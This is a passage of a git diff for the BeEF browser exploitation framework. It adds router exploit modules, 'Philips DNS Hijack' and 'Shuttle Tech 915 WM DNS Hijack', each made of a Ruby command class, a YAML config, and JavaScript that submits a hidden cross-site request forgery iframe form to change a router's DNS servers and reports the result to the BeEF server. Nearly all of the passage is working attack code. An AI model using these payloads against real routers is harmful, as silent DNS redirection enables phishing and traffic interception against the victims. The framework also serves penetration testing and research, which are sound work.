beef.net.send("<%= @command_url %>", <%= @command_id %>, "result=an invalid Secondary DNS server IP address was provided");
|
||||
return;
|
||||
}
|
||||
}
|
||||
var dns2_1 = parts[0];
|
||||
var dns2_2 = parts[1];
|
||||
var dns2_3 = parts[2];
|
||||
var dns2_4 = parts[3];
|
||||
|
||||
// change DNS
|
||||
var philips_iframe_<%= @command_id %> = beef.dom.createIframeXsrfForm(target, "GET", "application/x-www-form-urlencoded", [
|
||||
{'type':'hidden', 'name':'page', 'value':'setup_dns'},
|
||||
{'type':'hidden', 'name':'logout', 'value':''},
|
||||
{'type':'hidden', 'name':'dns1_1', 'value':dns1_1},
|
||||
{'type':'hidden', 'name':'dns1_2', 'value':dns1_2},
|
||||
{'type':'hidden', 'name':'dns1_3', 'value':dns1_3},
|
||||
{'type':'hidden', 'name':'dns1_4', 'value':dns1_4},
|
||||
{'type':'hidden', 'name':'dns2_1', 'value':dns2_1},
|
||||
{'type':'hidden', 'name':'dns2_2', 'value':dns2_2},
|
||||
{'type':'hidden', 'name':'dns2_3', 'value':dns2_3},
|
||||
{'type':'hidden', 'name':'dns2_4', 'value':dns2_4}
|
||||
]);
|
||||
|
||||
beef.net.send("<%= @command_url %>", <%= @command_id %>, "result=exploit attempted");
|
||||
|
||||
// clean up
|
||||
cleanup = function() {
|
||||
document.body.removeChild(philips_iframe_<%= @command_id %>);
|
||||
}
|
||||
setTimeout("cleanup()", timeout*1000);
|
||||
|
||||
});
|
||||
|
||||
19
modules/exploits/router/phillips_dns_hijack/config.yaml
Normal file
@@ -0,0 +1,19 @@
|
||||
#
|
||||
# Copyright (c) 2006-2015 Wade Alcorn - wade@bindshell.net
|
||||
# Browser Exploitation Framework (BeEF) - http://beefproject.com
|
||||
# See the file 'doc/COPYING' for copying permission
|
||||
#
|
||||
# References:
|
||||
# https://bugzilla.mozilla.org/show_bug.cgi?id=371598
|
||||
# http://www.gnucitizen.org/blog/router-hacking-challenge/
|
||||
#
|
||||
beef:
|
||||
module:
|
||||
philips_dns_hijack:
|
||||
enable: true
|
||||
category: ["Exploits", "Router"]
|
||||
name: "Philips DNS Hijack"
|
||||
description: "Attempts to change the DNS setting on a Philips router.<br/><br/>Philips routers reportedly do not require authentication to change the DNS servers.<br/><br/>This module has not been tested."
|
||||
authors: ["bob"]
|
||||
target:
|
||||
unknown: ["ALL"]
|
||||
19
modules/exploits/router/phillips_dns_hijack/module.rb
Normal file
@@ -0,0 +1,19 @@
|
||||
#
|
||||
# Copyright (c) 2006-2015 Wade Alcorn - wade@bindshell.net
|
||||
# Browser Exploitation Framework (BeEF) - http://beefproject.com
|
||||
# See the file 'doc/COPYING' for copying permission
|
||||
class Philips_dns_hijack < BeEF::Core::Command
|
||||
|
||||
def self.options
|
||||
return [
|
||||
{'name' => 'rhost', 'ui_label' => 'Remote Host', 'value' => '192.168.1.1'},
|
||||
{'name' => 'dns1', 'ui_label' => 'Primary DNS Server', 'value' => '8.8.8.8'},
|
||||
{'name' => 'dns2', 'ui_label' => 'Secondary DNS Server', 'value' => '8.8.4.4'}
|
||||
]
|
||||
end
|
||||
|
||||
def post_execute
|
||||
save({'result' => @datastore['result']})
|
||||
end
|
||||
|
||||
end
|
||||
@@ -0,0 +1,60 @@
|
||||
//
|
||||
// Copyright (c) 2006-2015 Wade Alcorn - wade@bindshell.net
|
||||
// Browser Exploitation Framework (BeEF) - http://beefproject.com
|
||||
// See the file 'doc/COPYING' for copying permission
|
||||
//
|
||||
|
||||
beef.execute(function() {
|
||||
|
||||
// config
|
||||
var target = 'http://<%= @rhost %>/dnscfg.cgi';
|
||||
var dns1 = '<%= @dns1 %>';
|
||||
var dns2 = '<%= @dns2 %>';
|
||||
var timeout = 15;
|
||||
|
||||
// validate primary DNS server IP address
|
||||
var parts = dns1.split('.');
|
||||
if (parts.length != 4) {
|
||||
beef.net.send("<%= @command_url %>", <%= @command_id %>, "result=an invalid Primary DNS server IP address was provided");
|
||||
return;
|
||||
}
|
||||
for (var i=0; i<parts.length; i++) {
|
||||
var part = parts[i];
|
||||
if (isNaN(part) || part < 0 || part > 255) {
|
||||
beef.net.send("<%= @command_url %>", <%= @command_id %>, "result=an invalid Primary DNS server IP address was provided");
|
||||
return;
|
||||
}
|
||||
}
|
||||
|
||||
// validate secondary DNS server IP address
|
||||
var parts = dns2.split('.');
|
||||
if (parts.length != 4) {
|
||||
beef.net.send("<%= @command_url %>", <%= @command_id %>, "result=an invalid Secondary DNS server IP address was provided");
|
||||
return;
|
||||
}
|
||||
for (var i=0; i<parts.length; i++) {
|
||||
var part = parts[i];
|
||||
if (isNaN(part) || part < 0 || part > 255) {
|
||||
beef.net.send("<%= @command_url %>", <%= @command_id %>, "result=an invalid Secondary DNS server IP address was provided");
|
||||
return;
|
||||
}
|
||||
}
|
||||
|
||||
// change DNS
|
||||
var shuttle_tech_iframe_<%= @command_id %> = beef.dom.createIframeXsrfForm(target, "GET", "application/x-www-form-urlencoded", [
|
||||
{'type':'hidden', 'name':'dnsPrimary', 'value': dns1},
|
||||
{'type':'hidden', 'name':'dnsSecondary', 'value': dns2},
|
||||
{'type':'hidden', 'name':'dnsDynamic', 'value': '0'},
|
||||
{'type':'hidden', 'name':'dnsRefresh', 'value': '1'}
|
||||
]);
|
||||
|
||||
beef.net.send("<%= @command_url %>", <%= @command_id %>, "result=exploit attempted");
|
||||
|
||||
// clean up
|
||||
cleanup = function() {
|
||||
document.body.removeChild(shuttle_tech_iframe_<%= @command_id %>);
|
||||
}
|
||||
setTimeout("cleanup()", timeout*1000);
|
||||
|
||||
});
|
||||
|
||||
@@ -0,0 +1,18 @@
|
||||
#
|
||||
# Copyright (c) 2006-2015 Wade Alcorn - wade@bindshell.net
|
||||
# Browser Exploitation Framework (BeEF) - http://beefproject.com
|
||||
# See the file 'doc/COPYING' for copying permission
|
||||
#
|
||||
# References:
|
||||
# http://www.exploit-db.com/exploits/35995/
|
||||
#
|
||||
beef:
|
||||
module:
|
||||
shuttle_tech_915wm_dns_hijack:
|
||||
enable: true
|
||||
category: ["Exploits", "Router"]
|
||||
name: "Shuttle Tech 915 WM DNS Hijack"
|
||||
description: "Attempts to change the DNS setting on a Shuttle Tech 915 WM router.<br/><br/>The Shuttle Tech ADSL Modem-Router 915 WM reportedly does not require authentication to change the DNS servers.<br/><br/>This module has not been tested."
|
||||
authors: ["Todor Donev"]
|
||||
target:
|
||||
unknown: ["ALL"]
|
||||